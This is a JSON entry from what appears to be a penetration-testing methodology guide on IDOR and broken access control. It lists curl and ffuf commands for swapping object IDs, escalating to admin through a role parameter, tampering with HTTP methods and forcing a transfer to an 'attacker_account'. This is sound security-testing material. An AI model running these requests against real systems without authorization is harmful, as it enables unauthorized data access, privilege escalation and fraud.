{
  "slug": "idor-bac-testing",
  "title": "IDOR & Broken Access Control",
  "phase": "Exploitation",
  "description": "Systematically test for insecure direct object references, broken function-level authorization, and privilege escalation across all API endpoints and application functions.",
  "difficulty": "high",
  "tags": [
    "exploitation",
    "idor",
    "access-control",
    "authorization",
    "privilege-escalation"
  ],
  "tools": [
    "Burp Suite",
    "ffuf",
    "Autorize",
    "nuclei"
  ],
  "steps": [
    {
      "id": "idor-01",
      "title": "Identify all object reference patterns",
      "description": "Map every API endpoint and parameter that references objects by identifier — numeric IDs, UUIDs, slugs, filenames, and encoded values.",
      "commands": [
        "cat all-urls.txt | grep -oiE '(/api/[a-z]+/[0-9]+|/api/[a-z]+/[a-f0-9-]{36}|/users/[^/]+|/files/[^/]+)'",
        "cat proxy-history.json | grep -oiE '\"id\":\\s*\"?[a-zA-Z0-9_-]+\"?'",
        "nuclei -l live-hosts.txt -t exposures/ -o exposed-refs.txt"
      ],
      "notes": "Do not limit your search to numeric IDs. Modern APIs often use UUIDs, slugs, or encoded identifiers that are equally vulnerable to IDOR if authorization is missing."
    },
    {
      "id": "idor-02",
      "title": "Test horizontal access by swapping user identifiers",
      "description": "Authenticate as User A and attempt to access User B's resources by substituting object identifiers in API requests.",
      "commands": [
        "curl -sk 'https://target.com/api/users/1002/profile' -H 'Authorization: Bearer <userA_token>'",
        "curl -sk 'https://target.com/api/documents/b3e2c4a1-7d8f-4e5a-9c1b-2d3f4a5b6c7d' -H 'Authorization: Bearer <userA_token>'",
        "ffuf -u 'https://target.com/api/orders/FUZZ' -w ids.txt -H 'Authorization: Bearer <userA_token>' -mc 200 -fc 403,404"
      ],
      "notes": "Create two test accounts and systematically swap every identifier between them. Check both read and write operations — an endpoint may allow reading but block modification, or vice versa."
    },
    {
      "id": "idor-03",
      "title": "Test vertical privilege escalation",
      "description": "Authenticate as a regular user and attempt to access administrative endpoints, management functions, and privileged API routes.",
      "commands": [
        "curl -sk 'https://target.com/api/admin/users' -H 'Authorization: Bearer <regular_user_token>'",
        "curl -sk 'https://target.com/api/admin/settings' -H 'Authorization: Bearer <regular_user_token>'",
        "curl -sk -X PUT 'https://target.com/api/users/me' -H 'Authorization: Bearer <regular_user_token>' -H 'Content-Type: application/json' -d '{\"role\": \"admin\"}'"
      ],
      "notes": "Discover admin endpoints through JavaScript analysis, API documentation, or by observing admin-only features in the client-side code. Try adding role or is_admin parameters to registration and profile update requests."
    },
    {
      "id": "idor-04",
      "title": "Test function-level authorization with HTTP method tampering",
      "description": "Test whether changing the HTTP method bypasses authorization checks — for example, using PUT or DELETE on endpoints that only validate GET requests.",
      "commands": [
        "for method in GET POST PUT PATCH DELETE OPTIONS; do echo \"$method:\"; curl -sk -X $method 'https://target.com/api/admin/users/1001' -H 'Authorization: Bearer <regular_user_token>' -o /dev/null -w '%{http_code}'; echo; done",
        "curl -sk -X POST 'https://target.com/api/admin/users/1001' -H 'X-HTTP-Method-Override: DELETE' -H 'Authorization: Bearer <regular_user_token>'"
      ],
      "notes": "Some frameworks only enforce authorization on specific HTTP methods. Also test X-HTTP-Method-Override, X-Method-Override, and _method parameter for method override bypasses."
    },
    {
      "id": "idor-05",
      "title": "Test multi-step process and workflow bypasses",
      "description": "Test whether authorization checks are enforced at every step of multi-step processes — skipping steps, reordering requests, or replaying completed steps.",
      "commands": [
        "curl -sk -X POST 'https://target.com/api/checkout/confirm' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"order_id\": \"12345\"}'",
        "curl -sk -X POST 'https://target.com/api/transfer/execute' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"amount\": 1000, \"to\": \"attacker_account\"}'"
      ],
      "notes": "Map the full workflow sequence and test each step independently. Authorization often fails at the final execution step when earlier validation steps are skipped."
    },
    {
      "id": "idor-06",
      "title": "Automate IDOR testing with Autorize",
      "description": "Configure the Burp Suite Autorize extension to automatically replay every request with a low-privilege token and detect authorization failures at scale.",
      "commands": [],
      "notes": "Autorize works by intercepting requests made with a high-privilege session and replaying them with a low-privilege token. Green results indicate authorization bypasses that need manual verification."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/access-control/idor",
    "https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/",
    "https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/",
    "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html",
    "https://github.com/PortSwigger/autorize"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-06-17"
}